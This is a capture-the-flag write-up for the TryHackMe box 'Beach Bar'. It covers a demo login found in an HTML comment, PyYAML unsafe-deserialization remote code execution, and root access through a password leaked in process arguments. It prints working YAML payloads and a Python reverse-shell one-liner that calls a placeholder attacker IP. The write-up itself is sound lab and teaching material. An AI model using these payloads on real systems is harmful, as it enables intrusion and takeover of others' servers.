TryHackMe // Writeup

🏖️ Beach Bar

Easy Category: Web Exploitation → Insecure Deserialization → Credential Reuse Privesc

Beach Bar is a themed easy-difficulty box centered around a Flask web app ("jukebox manager") for a beach bar. The path to root runs through a hidden demo credential, an unsafe YAML deserialization RCE, and a plaintext password leaked in a running process's command-line arguments.

1. Recongobuster + view-source reveal a hardcoded demo login (dj/dj) in an HTML comment
2. RCEyaml.load(Loader=yaml.Loader) lets us execute arbitrary Python via !!python/object/apply
3. FootholdReverse shell as bartender
4. PrivescRoot password leaked in ps aux output of a systemd service, reused for su root

1Recon

Port scan

Only two ports open:

Directory enumeration

gobuster dir -u http://<TARGET_IP> -w common.txt
/dashboard   (Status: 302) --> /login
/export      (Status: 302) --> /login
/import      (Status: 302) --> /login
/login       (Status: 200)
/logout      (Status: 302) --> /login

All app routes require authentication and redirect to /login.

Source inspection — hardcoded credential

Viewing the page source of /login reveals an HTML comment left in by developers:

<!-- staff note: the demo DJ login is still enabled for the soft opening.
     dj / dj -- swap this before the season starts (ticket BAR-7) -->
Finding
Credentials: dj / dj — grants access to /dashboard, /export, and /import.

2Exploitation — Unsafe YAML Deserialization (RCE)

The /import page allows uploading or pasting a YAML "playlist" file. Submitted YAML is parsed and the resulting Python object is echoed back to the page.

Root cause

The application source (/opt/beach-bar/webapp/app.py) shows the vulnerable line:

parsed = yaml.load(content, Loader=yaml.Loader)

Using yaml.Loader (instead of yaml.safe_load() / yaml.SafeLoader) allows YAML tags like !!python/object/apply to instantiate arbitrary Python objects and call arbitrary functions during parsing — a well-known PyYAML RCE primitive.

Proof of concept

harmless_test: !!python/object/apply:os.system
  args: ['id']

The app echoed back:

{'harmless_test': 0}

0 confirmed the command executed successfully (exit code), even though os.system doesn't return output directly.

To capture actual output, subprocess.check_output was used instead:

harmless_test: !!python/object/apply:subprocess.check_output
  args: ['id']
  kwds: {shell: true}

Result:

{'harmless_test': b'uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)\n'}
Confirmed
Remote code execution as the bartender user.

Getting a shell

Standard Python reverse shell one-liner, executed via the same primitive (more reliable than nc -e, since target nc builds often lack -e support):

harmless_test: !!python/object/apply:os.system
  args:
    - "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<ATTACKER_IP>\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

Listener:

nc -lvnp 4444
Note on IP selection
If connecting over a VPN (e.g. THM's OpenVPN), use the tunnel interface IP (tun0), not a LAN/Wi-Fi IP — the target's routes only cover the VPN subnet.

Upgrade the shell to a full PTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# locally: Ctrl+Z, then
stty raw -echo; fg
export TERM=xterm

3Privilege Escalation — Credential in Process Arguments

Enumeration

Checked sudo -l — required a password, bartender had no known creds yet.

Checked running processes:

ps aux | grep -i jukebox
root   606  ...  /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py \
                 --stream-pass ************ --bitrate 320k
Finding
A root-owned process (jukeboxd.service, a systemd-managed "streaming daemon") was started with a plaintext password passed as a command-line argument. Process arguments are visible to any local user via ps aux regardless of file permissions on the script itself — a classic and common misconfiguration.

Inspecting jukeboxd.py (world-readable) confirmed the --stream-pass value is accepted via argparse but never actually consumed by the script logic — it exists purely as the leaked secret, not a functional credential for the daemon itself.

Escalation

The leaked value was tested for credential reuse:

su root
Password: ***********
Result
bartender → root

Dead ends encountered (for completeness)

Several other avenues were checked and ruled out during enumeration — useful context for anyone replicating the box:

VectorResult
sudo -lNo rights — leaked password does not work for sudo, only direct su
Cron jobsDefault Ubuntu housekeeping only, nothing custom
SUID binaries / capabilitiesStandard system binaries only, nothing exploitable
Shared venv (/opt/beach-bar/venv)Fully root-owned, not writable by bartender
Gunicorn master (root, port 80)Forks workers that drop to bartender immediately — no preload injection path
/home/ubuntuDirectory listable, but .ssh / .bash_history are 600/700

Key Takeaways

  1. Never load YAML with yaml.Loader on untrusted input. Always use yaml.safe_load(). Tags like !!python/object/apply allow arbitrary code execution during parsing — a top-tier, well-documented PyYAML pitfall.
  2. Never pass secrets as CLI arguments to a process, especially one running as a higher-privileged user (root) that unprivileged local users can query via ps aux, /proc/<pid>/cmdline, etc. Use environment files, secret managers, or restricted config files instead.
  3. Don't reuse passwords across purposes — the same string protected both a (non-functional) streaming daemon flag and the actual root account.
  4. HTML comments are not private. The dj/dj demo credential left in a comment is a reminder that anything shipped to the client — including comments — is visible to an attacker.

Tools Used

nmap gobuster browser dev tools / view-source custom YAML payloads netcat manual Linux enumeration